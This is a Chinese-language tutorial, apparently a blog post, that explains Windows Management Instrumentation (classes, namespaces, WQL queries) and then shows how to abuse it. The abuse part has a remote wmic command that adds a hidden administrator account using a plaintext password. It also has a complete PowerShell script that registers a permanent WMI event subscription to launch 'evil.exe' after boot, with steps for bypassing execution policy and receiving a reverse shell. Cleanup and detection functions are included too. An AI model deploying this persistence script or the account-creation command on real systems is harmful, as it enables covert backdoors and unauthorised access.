WMI的起源

        几十年以前,几家IT大厂(BMC、Cisco、Intel、Microsoft)决定解决系统管理领域缺少标准的问题。他们联合在一起,开始捣鼓一个称为基于万维网的企业管理(WBEM,Web Based Enterprise Management)项目。后来WBEM交给了标准化领导机构—分布式管理任务组(DMTF,Distributed management Task Force),DMTF启动了一个称为通用信息模型(CIM,Common Information Model)的项目。

  • CIM是以面向对象原理为基础,定义了抽象类和类实例的概念。抽象类需要在任何环境中表示管理对象的一般类型,而不受任何特定环境的限制,例如系统、设备、应用程序、网络都可以算是一种抽象的类,而Windows、Linux、Ubuntu可以算是抽象类系统中的实例。

  • CIM规定提供了构建这种模式的一个模型(称为Schema)和一种语言。Schema就很像数据库表,它包含类需要包含的各个字段,例如属性、方法等等。

初识WMI

        提到WMI(Windows Management Instrumentation,Windows管理规范)其实大家都不应该感到陌生,它是一项核心的Windows管理技术。通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特定日期和时间运行的进程;远程启动计算机;获得本地或远程计算机已安装的程序列表;查询本地或远程计算机的Windows事件日志等等。包括在Python中也有WMI的库可以直接对Windows进行操作。

  • WMIC.exe:可以直接与WMI进行交互的命令行工具。它拥有大量的WMI对象方便记忆的默认别名,执行复杂的查询。wmic.exe还可以执行WMI方法,通过调用Win32_Process的Create方法来进行横行移动。

  • 常用的wmic功能:

1
2
3
4
5
6
7
8
9
10
wmic qfe list     #获取补丁信息
wmic startup list brief #获取启动的程
wmic startup list full #获取自启动的程序
wmic process call create "calc.exe" #在当前系统中执行某个程序
wmic process where name='*.exe' list full #查询某个进程对应某个具体可执行程序是什么
wmic process where (description="rundll32.exe") #查看rundll32.exe所加载的dll
wmic cpu get DataWidth /format:list #查询当前机器的操作系统
wmic share get name,path,status #查找开放的共享
wmic /namespace:\root\security cetter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe #查询安装的杀软
wmic /node:192.168.222.134 /user:Win7-LMB /password:Aa123456 process call create "cmd.exe /c net user attck$ Aa123456 /add && net localgroup administrators attack& /add" #远程命令执行

WMI结构体系

托管组件

        托管组件表示为WMI对象,表示高度结构化的操作系统数据类实例,就好比是编程语言中的类。微软提供了丰富的WMI对象用来与操作系统相关的信息进行通信。我们可以通过powershell或者系统自带的wql程序进行筛选查看。

  • Win32_Process:表示Windows中运行的进程。例如我们如果想要查看当前系统中运行的进程,可以通过Powershell调用WMI接口来进行查看。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Get-WmiObject -Query "Select * from win32_process"
##
__GENUS : 2
__CLASS : Win32_Process
__SUPERCLASS : CIM_Process
__DYNASTY : CIM_ManagedSystemElement
__RELPATH : Win32_Process.Handle="5680"
__PROPERTY_COUNT : 45
__DERIVATION : {CIM_Process, CIM_LogicalElement, CIM_ManagedSyste
mElement}
__SERVER : WIN7-LMB-PC
__NAMESPACE : root\cimv2
__PATH : \\WIN7-LMB-PC\root\cimv2:Win32_Process.Handle="5680"
Caption : cmd.exe
CommandLine : "C:\Windows\system32\cmd.exe"
CreationClassName : Win32_Process
CreationDate : 20210824151818.648842+480
CSCreationClassName : Win32_ComputerSystem
CSName : WIN7-LMB-PC
Description : cmd.exe
ExecutablePath : C:\Windows\system32\cmd.exe
ExecutionState :
Handle : 5680
HandleCount : 23
InstallDate :
KernelModeTime : 0
MaximumWorkingSetSize : 1380
MinimumWorkingSetSize : 200
Name : cmd.exe
OSCreationClassName : Win32_OperatingSystem
OSName : Microsoft Windows 7 旗舰版 |C:\Windows|\Device\Harddisk0\Partition2
OtherOperationCount : 155
OtherTransferCount : 1628
PageFaults : 798
PageFileUsage : 2016
ParentProcessId : 1568
PeakPageFileUsage : 3048
PeakVirtualSize : 44093440
PeakWorkingSetSize : 2996
Priority : 8
PrivatePageCount : 2064384
ProcessId : 5680
QuotaNonPagedPoolUsage : 5
QuotaPagedPoolUsage : 84
QuotaPeakNonPagedPoolUsage : 5
QuotaPeakPagedPoolUsage : 84
ReadOperationCount : 1
ReadTransferCount : 11506
SessionId : 1
Status :
TerminationDate :
ThreadCount : 1
UserModeTime : 0
VirtualSize : 43044864
WindowsVersion : 6.1.7601
WorkingSetSize : 3047424
WriteOperationCount : 0
WriteTransferCount : 0
ProcessName : cmd.exe
Handles : 23
VM : 43044864
WS : 3047424
Path : C:\Windows\system32\cmd.exe
#### 由于输出的内容很多,我们可以使用格式化输出语法进行输出 ####


Get-WmiObject -Query "Select * from win32_process" | Format-List -Property Name,Path,ProcessId
##
Name : powershell.exe
Path : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ProcessId : 5340
  * Win32_DiskDrive:查看系统的硬盘
  * Win32_PhysicalMedia:查看所有存储设备的详细信息
  * Win32_BIOS:查看系统的BIOS信息
  * Win32_MemoryDevice:查看系统内存信息
  * Win32_PhysicalMemory:查看物理内存设备的详细信息
  * Win32_Processor:查看CPU信息
  * Win32_NetworkAdapter:查看网络适配器信息,包含虚拟网卡和物理网卡
  * Win32_NetworkAdapterConfiguration:查看网络适配器的配置信息
  * Win32_NetworkAdapterSetting:查看网络适配器的相关设定
  * Win32_Printer:查看打印/传真设备
  * Win32_DesktopMonitor:查看显示设备
  * Win32_Desktop:查看桌面信息,屏幕保护程序
  * Win32_Environment:查看系统环境变量
  * Win32_Directory:查看文件目录,所有的目录
  * Win32_DiskPartition:查看磁盘分区
  * Win32_LogicalDisk:查看逻辑磁盘
  * Win32_Account:查看用户信息,包括隐藏账户
  * Win32_Service:查看系统服务
  * Win32_StartupCommand:查看启动项,以及使用的命令

3.2 WMI数据

  • 使用WMI数据:微软提供了几种方式来使用 WMI 数据和执行 WMI 方法。

  • PowerShell API: 提供了一种非常简单的方式与 WMI 进行交互: Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process

    • WMIC.exe:Windows命令行查询WMI数据

    • wbemtest.exe:Windows下图形化查询工具

  • 查询WMI数据:所有的WMI对象都使用类似于一个 SQL 查询的语言称为 WMI 查询语言(WQL)。 WQL 能够很好且细微的控制返回给用户的 WMI 对象,这点和Powershell这种面向对象的语言很类似。

  • 填充WMI数据:当用户请求特定的 WMI 对象时,WMI 服务 (Winmgmt) 需要知道如何填充被请求的 WMI 对象。这个过程是由 WMI 提供程序去实现的。WMI提供程序(本质上是一个COM组件程序)是一个基于 COM 的 DLL 文件,它包含一个在注册表中已经注册的相关联的 GUID。 WMI 提供程序的功能,查询所有正在运行的进程,枚举注册表项。

    • 当 WMI 服务填充 WMI 对象时,有两种类型的类实例。
      • 动态对象: 动态对象是在特定查询执行时在运行过程中生成的。例如,Win32_Process 对象就是在运行过程中动态生成的

      • 持久性对象:持久性对象存储在位于 %SystemRoot%\System32\wbem\Repository\ 的 CIM(WMI公共信息模型 common information model,CMI) 数据库中,它存储着 WMI 类的实例,类的定义和命名空间的定义。

  • 远程传输WMI数据:Microsoft提供了两个协议用于传输WMI数据,分别是分部署组件对象DCOM和Windows远程管理WinRM。

image.png

命名空间

        WMI命名空间用于对相同环境中存在的类进行分组,也用于加强安全限制。当请求连接到一个命名空间时会检查用户的权限,这决定命名空间级别的权限。命名空间是一个层次结构,类似文件系统中文件目录的层次结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root
## 所有的命名空间均在这个命名空间下,此命名空间只包含WMI系统类,这些类也会在其它命名空间中出现。
### WMI系统类是在名称前面有两个下划线("_")组成。

root\Default
## 与Windows注册表操作有关的主机类,读取、写入、枚举、监视、创建、删除注册表的项和值。

root\CIMV2
## 包含从CIM Schema派生的类,它们代表着我们最常接触到的Win32环境。

root\MicrosoftIISv2
## IIS WMI提供程序。

root\RSOP
## 策略的结果集

root\Policy
## 组策略

root\Directory\ldap
## Active Directory提供程序
  • 利用WQL进行查询:在“运行”中,输入“wbemtest.exe” 。点击连接选择需要连接的命名空间,点击查询输入WQL语句。
image.png
     - Schema:获取类定义,使用的基本语法形式和其它类型的查询一样,`Select * from Meta_Class Where __CLASS like "Win32_%"`

image.png

1
2
3
4
5
6
7
Select * From Win32_Process 
Select * From Win32_Process Where ProcessId = 608
Select * From Win32_Process Where Priority > 8
Select * From Win32_Process Where WriteOperationCount < 1000
Select * From Win32_Process Where ParentProcessId <> 884
Select * From Win32_Process Where ParentProcessId != 884
Select * From Win32_Process Where Not ParentProcessId = 884
  • Data:获取类的实例,它返回特定类的所有实例,例如查看某个进程Select * from Win32_Process Where Name="cmd.exe"
image.png
  • Event:获取一个特定事件通知属性,通常用来在一个WMI对象实例创建/修改/删除的时候给用户发送一个消息。同时允许每个查询允许添加一些附加的操作符号,如:

    • WITHIN:指定轮询(确定WMI轮询监控事件的频率)或分组间隔(确定WMI收集类似事件的初始事件后的时间)。间隔是一个整数值,表示着秒的数量。[由于轮询处理具备的资源特性,所以推荐把WITHIN子句中的轮询间隔设为相对高的值(大于300秒)]

    • GROUP:分组相同的事件,并为所有的它们生成单独的通知。

  • 在后续的利用内容中,使用到的就是Event查询方法来达到持久化的目的,具体的演示内容我们会在后面的利用手法中详细阐述。

WMI Event Subscription权限维持

利用原理

        恶意进程创建:部分 WMI 对象包括可执行的方法。例如攻击者进行横向运动时执行的一个常用方法是在 Win32_Process 类中的静态 Create 方法,此方法可以快速创建一个新的进程。wmic process call create "calc.exe"

image.png
  • 事件触发执行:WMI 提供了一个事件系统,使用户可以使用注册事件处理函数进行创建,修改或删除任何 WMI 对象实例。例如用于监控进程创建事件并获得回调。我们可以使用WMI永久事件订阅(permanent event subscriptions)机制来触发特定操作。攻击者经常利用这个功能,在系统启动时执行后门程序,完成本地持久化。

    • WMI的事件订阅包含三个核心WMI类
      • Filter(过滤器)类: WMI Filter用来定义触发Consumer的具体条件,包括系统启动、特定程序执行、特定时间间隔以及其他条件。

      • Consumer(消费者)类: WMI Consumer用来指定要执行的具体操作,包括执行命令、运行脚本、添加日志条目或者发送邮件。

      • FilterToConsumerBinding类: FilterToConsumerBinding用来将Consumer与Filter关联在一起。创建一个WMI永久事件订阅需要系统的管理员权限。

  • 事件行为案例

    • __InstanceCreationEvent:实例被创建事件。若发生创建实例的事件则会增加对象数量。
1
2
3
4
5
# 检查是否有Notepad.exe进程被创建
Select * From __InstanceCreationEvent
Within 5
Where TargetInstance Isa "Win32_Process"
And TargetInstance.Name = "Notepad.exe"
image.png

利用步骤

  • 利用方式一:给刚刚我们构造的查询语句加上动作,当打开记事本时打开计算器。
1
2
3
4
Register-WmiEvent -Query 
"SELECT * FROM __InstanceDeletionEvent within 1
WHERE TargetInstance ISA 'Win32_Process' and TargetInstance.Name = 'notepad.exe'"
-Action{cmd.exe /c calc.exe}

演示效果:2021-08-24 20.57.09.gif

image.png

        我们可以思维扩展一下,如果说我们的恶意程序不想被关闭,那么只要设置监控关闭的事件,若监测到恶意程序被关闭则通过Action动作再启动一个。经过测试后,发现执行该命令后cmd窗口不能被关闭,否则监控被关闭。那么就引发一思考,这个查询命令必须在后台执行。

  • 利用方式二:通过Powershell脚本的方式实现真正的持久化操作。实现的方法理解后非常简单,非常像策略路由,我们首先需要通过一个过滤器来抓取我们的感兴趣“动作”,在创建一个“行为”来执行匹配了这个动作后的操作,最后将我们的定义的动作和行为进行绑定就可以实现持久化的操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 定义一种方法:
function Install-Persistence{

# 声名几个变量,第一个是通过filter筛选出“感兴趣”的动作,比如打开记事本、用户登陆等。
$EventFilterName='DMFilter'

# 第二个是“命中后执行的行为”。
$EventConsumerName='DMConsumer'

# 第三个是行为的具体动作,比如这边的执行一个程序。
$finalPayload='C:\Windows\System32\evil.exe'

# 定义一个参数列表,这个列表中的参数会传递给过滤器使用,包括:要查询的方式、查询的命名空间、查询器的名称以及查询的语句
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
# SystemUpTime参数反馈系统启动至今所经过的时间,单位为1S。
# 也就是说下面的查询语句,若系统启动2分钟至3分钟这个时间段,会触发一次行为的执行。
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 50 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180"
QueryLanguage = 'WQL'
}

# 在订阅NameSpace中应用过滤器
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

# 定义动作的参数
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $finalPayload
}

# 在订阅NameSpace中应用“动作”
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

# 将行为和动作进行关联
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}

# 将关联的行为和动作应用至订阅NameSpace
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 移除WMI持久化
function Remove-Persistence{

$EventFilterName = 'DMFilter'
$EventConsumerName = 'DMConsumer'

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
}
1
2
3
4
5
6
7
8
9
10
11
12
# 检查各个模块是否安装,可有可无
function Check-WMI{

Write-Host "Showing All Root Event Filters"
Get-WmiObject -Namespace root/subscription -Class __EventFilter

Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer

Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}
  • 步骤一:开启powershell脚本执行功能,注意使用system32权限的powershell执行命令,Set-ExecutionPolicy -ExecutionPolicy Bypass

  • 步骤二:将上面的代码合并后,重命名为”.PS1”后缀,通过命令Import-Module .\<Name>.ps1 导入脚本。

  • 步骤三:安装持久化模块Install-Persistence

image.png
  • 步骤四:重启系统,等待170S左右反弹shell。注意不要忘记自己的恶意程序evil.exe要放到指定的目录下。
    • 你可以通过以下powershell命令来查看当前系统启动的时间。

Get-WmiObject -Query "Select SystemUpTime from Win32_PerfFormattedData_PerfOS_System"

演示效果:这里为了更好的体现出效果,我将动作改为打开Notepad后反弹shell。2021-08-26 09.26.52.gif

image.png